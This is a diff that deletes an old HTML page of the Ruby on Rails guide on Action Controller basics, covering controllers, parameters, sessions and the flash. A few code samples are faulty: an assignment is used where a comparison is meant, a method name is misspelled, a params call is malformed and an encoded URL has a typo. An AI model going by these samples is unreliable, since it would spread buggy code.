-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_what_does_a_controller_do">What Does a Controller do?</a>
-					</li>
-					<li>
-					<a href="#_methods_and_actions">Methods and Actions</a>
-					</li>
-					<li>
-					<a href="#_parameters">Parameters</a>
-						<ul>
-						
-							<li><a href="#_hash_and_array_parameters">Hash and Array Parameters</a></li>
-						
-							<li><a href="#_routing_parameters">Routing Parameters</a></li>
-						
-							<li><a href="#_tt_default_url_options_tt"><tt>default_url_options</tt></a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_session">Session</a>
-						<ul>
-						
-							<li><a href="#_disabling_the_session">Disabling the Session</a></li>
-						
-							<li><a href="#_accessing_the_session">Accessing the Session</a></li>
-						
-							<li><a href="#_the_flash">The flash</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_cookies">Cookies</a>
-					</li>
-					<li>
-					<a href="#_filters">Filters</a>
-						<ul>
-						
-							<li><a href="#_after_filters_and_around_filters">After Filters and Around Filters</a></li>
-						
-							<li><a href="#_other_ways_to_use_filters">Other Ways to Use Filters</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_verification">Verification</a>
-					</li>
-					<li>
-					<a href="#_request_forgery_protection">Request Forgery Protection</a>
-					</li>
-					<li>
-					<a href="#_the_tt_request_tt_and_tt_response_tt_objects">The <tt>request</tt> and <tt>response</tt> Objects</a>
-						<ul>
-						
-							<li><a href="#_the_tt_request_tt_object">The <tt>request</tt> Object</a></li>
-						
-							<li><a href="#_the_tt_response_tt_object">The <tt>response</tt> Object</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_http_basic_authentication">HTTP Basic Authentication</a>
-					</li>
-					<li>
-					<a href="#_streaming_and_file_downloads">Streaming and File Downloads</a>
-						<ul>
-						
-							<li><a href="#_sending_files">Sending Files</a></li>
-						
-							<li><a href="#_restful_downloads">RESTful Downloads</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_parameter_filtering">Parameter Filtering</a>
-					</li>
-					<li>
-					<a href="#_rescue">Rescue</a>
-						<ul>
-						
-							<li><a href="#_the_default_500_and_404_templates">The Default 500 and 404 Templates</a></li>
-						
-							<li><a href="#_tt_rescue_from_tt"><tt>rescue_from</tt></a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Action Controller basics</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Follow the flow of a request through a controller
-</p>
-</li>
-<li>
-<p>
-Understand why and how to store data in the session or cookies
-</p>
-</li>
-<li>
-<p>
-Work with filters to execute code during request processing
-</p>
-</li>
-<li>
-<p>
-Use Action Controller's built-in HTTP authentication
-</p>
-</li>
-<li>
-<p>
-Stream data directly to the user's browser
-</p>
-</li>
-<li>
-<p>
-Filter sensitive parameters so they do not appear in the application's log
-</p>
-</li>
-<li>
-<p>
-Deal with exceptions that may be raised during request processing
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_what_does_a_controller_do">1. What Does a Controller do?</h2>
-<div class="sectionbody">
-<div class="para"><p>Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.</p></div>
-<div class="para"><p>For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.</p></div>
-<div class="para"><p>A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more details on the routing process, see <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_methods_and_actions">2. Methods and Actions</h2>
-<div class="sectionbody">
-<div class="para"><p>A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Actions are public methods</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Action methods are responsible for producing output</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Helper methods are private and can not be used as actions</span></span>
-private
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> foo
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.</p></div>
-<div class="para"><p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of ClientsController and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-  <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <a href="../layouts_and_rendering.html">Layouts &amp; rendering guide</a> explains this in more detail.</p></div>
-<div class="para"><p>ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.</p></div>
-</div>
-<h2 id="_parameters">3. Parameters</h2>
-<div class="sectionbody">
-<div class="para"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  <span style="font-style: italic"><span style="color: #9A1900"># This action uses query string parameters because it gets run by a HTTP</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># GET request, but this does not make any difference to the way in which</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># the parameters are accessed. The URL for this action would look like this</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># in order to list activated clients: /clients?status=activated</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> params<span style="color: #990000">[:</span>status<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"activated"</span>
-      <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>activated
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      <span style="color: #009900">@clients</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>unativated
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># This action uses POST parameters. They are most likely coming from an HTML</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># form which the user has submitted. The URL for this RESTful request will</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># be "/clients", and the data will be sent as part of the request body.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
-      redirect_to <span style="color: #009900">@client</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      <span style="font-style: italic"><span style="color: #9A1900"># This line overrides the default rendering behavior, which would have been</span></span>
-      <span style="font-style: italic"><span style="color: #9A1900"># to render the "create" view.</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_hash_and_array_parameters">3.1. Hash and Array Parameters</h3>
-<div class="para"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /clients?ids[]=1&amp;ids[]=2&amp;ids[]=3</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</td>
-</tr></table>
-</div>
-<div class="para"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
-<div class="para"><p>To send a hash you include the key name inside the brackets:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/clients" method="post"&gt;
-  &lt;input type="text" name="client[name]" value="Acme" /&gt;
-  &lt;input type="text" name="client[phone]" value="12345" /&gt;
-  &lt;input type="text" name="client[address][postcode]" value="12345" /&gt;
-  &lt;input type="text" name="client[address][city]" value="Carrot City" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="para"><p>The value of <tt>params[:client]</tt> when this form is submitted  will be <tt>{"name" &#8658; "Acme", "phone" &#8658; "12345", "address" &#8658; {"postcode" &#8658; "12345", "city" &#8658; "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
-<div class="para"><p>Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.</p></div>
-<h3 id="_routing_parameters">3.2. Routing Parameters</h3>
-<div class="para"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a "pretty" URL:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">"/clients/:status"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"bar"</span>
-<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this case, when a user opens the URL <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to "active". When this route is used, <tt>params[:foo]</tt> will also be set to "bar" just like it was passed in the query string in the same way <tt>params[:action]</tt> will contain "index".</p></div>
-<h3 id="_tt_default_url_options_tt">3.3. <tt>default_url_options</tt></h3>
-<div class="para"><p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>class ApplicationController &lt; ActionController::Base
-
-  #The options parameter is the hash passed in to +url_for+
-  def default_url_options(options)
-    {:locale =&gt; I18n.locale}
-  end
-
-end</tt></pre>
-</div></div>
-<div class="para"><p>These options will be used as a starting-point when generating, so it's possible they'll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.</p></div>
-</div>
-<h2 id="_session">4. Session</h2>
-<div class="sectionbody">
-<div class="para"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-CookieStore - Stores everything on the client.
-</p>
-</li>
-<li>
-<p>
-DRbStore - Stores the data on a DRb server.
-</p>
-</li>
-<li>
-<p>
-MemCacheStore - Stores the data in a memcache.
-</p>
-</li>
-<li>
-<p>
-ActiveRecordStore - Stores the data in a database using Active Record.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).</p></div>
-<div class="para"><p>Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
-<div class="para"><p>Read more about session storage in the <a href="../security.html">Security Guide</a>.</p></div>
-<div class="para"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]</span></span>
-config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store
-</tt></pre></div></div>
-<h3 id="_disabling_the_session">4.1. Disabling the Session</h3>
-<div class="para"><p>Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the <tt>session</tt> class method in your controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-  session <span style="color: #990000">:</span>off
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also turn the session on or off for a single controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The session is turned off by default in ApplicationController, but we</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># want to turn it on for log in/out.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-  session <span style="color: #990000">:</span>on
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or even for specified actions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-  session <span style="color: #990000">:</span>on<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_accessing_the_session">4.2. Accessing the Session</h3>
-<div class="para"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">There are two <tt>session</tt> methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.</td>
-</tr></table>
-</div>
-<div class="para"><p>Session values are stored using key/value pairs like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-private
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Finds the User with the ID stored in the session with the key :current_user_id</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># This is a common way to handle user login in a Rails application; logging in sets the</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># session value and logging out removes it.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> current_user
-    <span style="color: #009900">@_current_user</span> <span style="color: #990000">||=</span> session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">&amp;&amp;</span> User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To store something in the session, just assign it to the key like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># "Create" a login, aka "log the user in"</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user <span style="color: #990000">=</span> User<span style="color: #990000">.</span>authenticate<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>username<span style="color: #990000">,</span> params<span style="color: #990000">[:</span>password<span style="color: #990000">])</span>
-      <span style="font-style: italic"><span style="color: #9A1900"># Save the user ID in the session so it can be used in subsequent requests</span></span>
-      session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> user<span style="color: #990000">.</span>id
-      redirect_to root_url
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># "Delete" a login, aka "log the user out"</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
-    <span style="font-style: italic"><span style="color: #9A1900"># Remove the user id from the session</span></span>
-    session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-    redirect_to root_url
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To reset the entire session, use <tt>reset_session</tt>.</p></div>
-<h3 id="_the_flash">4.3. The flash</h3>
-<div class="para"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
-    session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-    flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You have successfully logged out"</span>
-    redirect_to root_url
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>destroy</tt> action redirects to the application's <tt>root_url</tt>, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;html&gt;
-  &lt;!-- &lt;head/&gt; --&gt;
-  &lt;body&gt;
-    &lt;% if flash[:notice] -%&gt;
-      &lt;p class="notice"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;
-    &lt;% end -%&gt;
-    &lt;% if flash[:error] -%&gt;
-      &lt;p class="error"&gt;&lt;%= flash[:error] %&gt;&lt;/p&gt;
-    &lt;% end -%&gt;
-    &lt;!-- more content --&gt;
-  &lt;/body&gt;
-&lt;/html&gt;</tt></pre>
-</div></div>
-<div class="para"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
-<div class="para"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MainController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Let's say this action corresponds to root_url, but you want all requests here to be redirected to</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># UsersController#index. If an action sets the flash and redirects here, the values would normally be</span></span>
-  <span style="font-style: italic"><span style="color: #9A1900"># lost when another redirect happens, but you can use keep to make it persist for another request.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-    flash<span style="color: #990000">.</span>keep <span style="font-style: italic"><span style="color: #9A1900"># Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)</span></span>
-    redirect_to users_url
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h4 id="_tt_flash_now_tt">4.3.1. <tt>flash.now</tt></h4>
-<div class="para"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>client<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@client</span><span style="color: #990000">.</span>save
-      <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      flash<span style="color: #990000">.</span>now<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Could not save client"</span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_cookies">5. Cookies</h2>
-<div class="sectionbody">
-<div class="para"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
